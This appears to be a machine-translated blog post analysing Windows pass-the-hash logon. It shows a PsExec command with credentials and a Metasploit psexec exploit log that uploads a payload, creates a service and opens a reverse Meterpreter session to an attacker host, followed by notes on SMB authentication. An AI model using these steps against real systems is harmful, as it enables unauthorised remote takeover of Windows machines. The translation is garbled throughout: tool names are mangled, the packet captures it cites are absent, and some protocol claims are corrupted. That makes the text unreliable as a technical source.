[Log on to Windows directly using Hash] Simple Analysis

Because msf uses exploit/windows/smb/export xecloud, you should have some contact with the corresponding xec.exe in pstool.

In other words, mongoxec.exe can remotely connect to obtain an interactive mongoshell,

C: \ Documents and Settings \ Administrator \ Desktop> export xec.exe \ 192.168.1.108-u "admi nistrator"-p "123" cmd uninstall xec v1.98-Execute processes remotely Copyright (C) 2001-2010 Mark Russinovich Sysinternals-www.sysinternals.com Microsoft Windows [version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. c: \ WINDOWS \ system32>

Analysis of this tool by a partner on csdn: Analysis of PSTOOLS tools-Reverse Analysis of PSEXEC

"We can see that ipvxec mainly uses the SMB application layer protocol for communication. In short, the SMB (server information block) protocol is a protocol used to operate data between shared files, devices, named queues, and mail slots over the network, we have established IPC connections, ing network drivers, copying files, and other operations based on the SMB protocol"

In other words, part of the process of using hash to log on to msf is reproduced by yourself:

msf  exploit(psexec) > exploit [*] Started reverse handler on 192.168.1.5:4444 [*] Connecting to the server... [*] Authenticating to 192.168.1.108:445|WORKGROUP as user 'administrator'... [*] Uploading payload... [*] Created \JLqNziXu.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.108[\svcctl] ...[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.108[\svcctl] ...[*] Obtaining a service manager handle... [*] Creating a new service (lvNaXYva - "MyQqiNw")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \JLqNziXu.exe... [*] Sending stage (752128 bytes) to 192.168.1.108 [*] Meterpreter session 2 opened (192.168.1.5:4444 -> 192.168.1.108:1033) at 2013-01-05 22:05:35 +0800meterpreter > sysinfo Computer        :Test OS              : Windows .NET Server (Build 3790). Architecture    : x86 System Language : zh_CN Meterpreter     : x86/win32 meterpreter >

We can see that the authentication part [*] Authenticating to 192.168.1.108: 445 | WORKGROUP as user 'admin '... it should be to initiate a user or shared authentication to the server (the other is the process established by Meterpreter shell. the principle is the same as that of using xec.exe.

Finally, the key issue is that msf uses hash login ". The SMB negotiation process points out:

"In the SMB protocol, if you want to perform a request authentication on the server, your password can be sent to the server in the original code or encrypted form. If the server supports the encryption attribute, the client must send a response signal. In the negprot response datagram, the server sends a key to the client. Then, the client encrypts the password and sends the request datagram to the server through SesssetupX. The server will check the validity of the password and allow or deny access from the client. You must know that the maximum length of an SMB password (unencrypted) is 14 characters. The key length is generally 8 bits, and the encrypted password length is 24 bits. In an ANSI password, all the bits in the password are converted into uppercase and then encrypted.

The password is encrypted by DEC ."

Proof of packet capture:

Using ipvxec remote connection, SMB negotiation process data packets:

In addition, the Server Load balancer negotiation fails due to the use of cain for sniffing. In addition, the Server Load balancer captures the account and hash of the host that proposes the smb protocol, but fails to capture the username and password used in the login process.

Meterpreter connection mode (the response message contains a "SecurityMode" field, which determines whether encrypted attributes are allowed ):

 

Verified.